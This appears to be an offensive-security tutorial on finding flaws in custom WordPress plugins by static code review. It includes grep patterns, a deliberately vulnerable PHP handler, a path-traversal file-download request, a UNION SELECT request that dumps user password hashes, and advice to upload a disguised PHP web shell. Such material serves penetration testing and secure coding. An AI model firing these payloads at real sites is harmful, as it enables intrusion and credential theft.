Technical terminal background
    N/A
    20 min mhfh research 2026-05-16

    Beyond the Scanner: Discovering Logic Flaws in Custom WordPress Plugins

    Automated scanners miss custom code entirely. Learn how to perform static code analysis on proprietary WordPress plugins to discover SQL injection, IDOR, and authentication bypass vulnerabilities.

    $cat snippet_auditing-custom-plugins.sh
    grep -rn 'wp_ajax_nopriv' --include='*.php' ./wp-content/plugins/

    The Blind Spot of Automated Scanners

    Automated vulnerability scanners operate on signatures. They look for known bad versions of software or specific, recognizable patterns in HTTP responses. A custom plugin named cyberintel-client-portal that was developed in-house by a client's contracted development agency will never appear in the WPScan Vulnerability Database. It has no CVE number. It has no Exploit-DB entry. From the scanner's perspective, it simply does not exist.

    This is the critical gap that separates a technician running automated tools from a genuine security auditor. When you encounter a WordPress installation running one or more custom plugins, you have found the single highest-probability attack vector on the entire site. These plugins are typically developed under tight deadlines, by developers who are experts in WordPress theme development but may lack deep security engineering experience.

    Your mission in this phase is to acquire the plugin source code and conduct a manual, targeted static code review to discover zero-day vulnerabilities.


    Step 1: Acquiring the Source Code

    Before you can audit code, you need to obtain it. The method depends on your access level and the engagement rules.

    Vector A: Authenticated Admin Download

    If your brute-force operation was successful and you have administrator credentials, navigate to the WordPress admin dashboard. Go to Plugins > Installed Plugins. For custom plugins not hosted on wordpress.org, you can often download the plugin ZIP directly from the server by navigating to /wp-content/plugins/plugin-name/ if directory listing is enabled.

    Vector B: Arbitrary File Download (Pre-Auth)

    If a previously discovered vulnerability (e.g., from a Nuclei scan) grants you an arbitrary file read or download primitive, you can use it to exfiltrate the entire plugin directory.

    $cat output.bash
    # Example: Exploiting a known LFI/AFD vulnerability
    curl "https://target.com/wp-admin/admin-ajax.php?action=download_file&file=../wp-content/plugins/custom-plugin/custom-plugin.php"

    Vector C: WordPress.org Repository (Public Plugins)

    For publicly listed plugins, simply download the latest version from the official repository and compare it against the target's installed version.


    Step 2: The Tactical Code Review

    Once you have the source code downloaded to your local environment, the static code analysis begins. We are not looking to understand the entire application architecture; we are executing a highly targeted search for dangerous code patterns.

    Priority Target 1: Unauthenticated AJAX Handlers

    This is the single most dangerous pattern in custom WordPress plugin development. The wp_ajax_nopriv_ hook registers a PHP function that can be called by any visitor to the website, without any authentication.

    $cat output.bash
    # Find all unauthenticated AJAX endpoints in the plugin
    grep -rn 'wp_ajax_nopriv' --include='*.php' ./wp-content/plugins/target-plugin/

    When you find a match, trace the registered callback function. If that function interacts with the database, the filesystem, or user data without performing its own internal authentication or capability check (current_user_can()), you have found a critical vulnerability.

    Priority Target 2: SQL Injection via $wpdb

    The WordPress $wpdb class provides a prepare() method that acts as a parameterized query builder, preventing SQL injection. Developers who bypass this method and concatenate variables directly into query strings create injection points.

    $cat output.bash
    # Search for raw SQL queries without prepare()
    grep -rn '$wpdb->get_results|$wpdb->query|$wpdb->get_var|$wpdb->get_row' --include='*.php' ./wp-content/plugins/target-plugin/ | grep -v 'prepare'

    A Vulnerable Code Pattern

    $cat output.php
    // HIGHLY VULNERABLE CODE
    function get_client_report() {
        global $wpdb;
        $report_id = $_GET['id']; // Unsanitized user input
        $result = $wpdb->get_results(
            "SELECT * FROM {$wpdb->prefix}client_reports WHERE id = $report_id"
        );
        wp_send_json_success($result);
    }
    add_action('wp_ajax_nopriv_get_report', 'get_client_report');

    This code is catastrophically vulnerable. It registers an unauthenticated AJAX endpoint (wp_ajax_nopriv) that takes raw user input from the URL ($_GET['id']) and injects it directly into a SQL query without using $wpdb->prepare(). An attacker can exploit this with a simple UNION SELECT to dump the entire wp_users table.

    The Exploit

    $cat output.bash
    curl "https://target.com/wp-admin/admin-ajax.php?action=get_report&id=1 UNION SELECT user_login,user_pass,3,4,5 FROM wp_users--"

    Step 3: Insecure Direct Object Reference (IDOR)

    IDOR vulnerabilities occur when a plugin uses a user-supplied identifier (like a report ID or user ID) to access data without verifying that the requesting user is authorized to view that specific record.

    The Search Pattern

    $cat output.bash
    # Find functions that use request parameters to query data
    grep -rn '$_GET|$_POST|$_REQUEST' --include='*.php' ./wp-content/plugins/target-plugin/ | grep -i 'id|user|report|file'

    If a function retrieves a record based on an ID from the request and does not check if the current user owns that record (e.g., if ($report->user_id !== get_current_user_id())), you have an IDOR. This allows any authenticated user to access any other user's data by simply incrementing the ID parameter.


    Step 4: Authentication Bypass and Nonce Verification

    WordPress uses nonces (Number used Once) as CSRF tokens to verify that a request originated from a legitimate form submission. Custom plugins that handle sensitive operations (like updating user profiles or processing payments) must verify nonces.

    The Search Pattern

    $cat output.bash
    # Find AJAX handlers that do NOT verify a nonce
    grep -rn 'wp_ajax_' --include='*.php' ./wp-content/plugins/target-plugin/ | while read line; do
        func=$(echo "$line" | grep -oP "'wp_ajax_(nopriv_)?K[^']+")
        file=$(echo "$line" | cut -d: -f1)
        if ! grep -q "wp_verify_nonce|check_ajax_referer" "$file"; then
            echo "POTENTIAL CSRF: $func in $file"
        fi
    done

    Step 5: File Upload and Path Traversal

    Custom plugins that handle file uploads (profile pictures, document submissions, CSV imports) are prime targets. The key indicators of a vulnerable upload handler are:

    1. No MIME type validation: The code does not check if the uploaded file is actually an image or document.
    2. No file extension whitelist: The code allows .php files to be uploaded.
    3. Predictable upload paths: Files are stored in a publicly accessible directory like /wp-content/uploads/plugin-name/.
    $cat output.bash
    # Search for file upload handling
    grep -rn 'move_uploaded_file|wp_handle_upload|$_FILES' --include='*.php' ./wp-content/plugins/target-plugin/

    If you find a handler that does not use wp_check_filetype() or a strict extension whitelist, you can upload a PHP web shell disguised as an image (e.g., shell.php.jpg or shell.phtml) and achieve Remote Code Execution.


    Transitioning from Discovery to Exploitation

    Once you have identified a vulnerability through static code analysis, the next step is to build a working Proof of Concept (PoC). For SQL injection, use sqlmap with the discovered endpoint. For file uploads, craft a minimal PHP shell and verify execution.

    The key takeaway from this masterclass is that the most dangerous vulnerabilities on a modern WordPress site are not in the core, the public plugins, or the themes. They are in the custom code that no automated scanner will ever see.

    In our final Phase 2 masterclass, we will address the ultimate gatekeeper. We will dive into the WAF Bypass Playbook, exploring how to manipulate headers, find origin IPs, and completely circumvent Cloudflare and Wordfence to ensure your payloads hit the target.

    #Static Analysis#Source Code Review#Custom Plugins#Zero-Day#Logic Flaws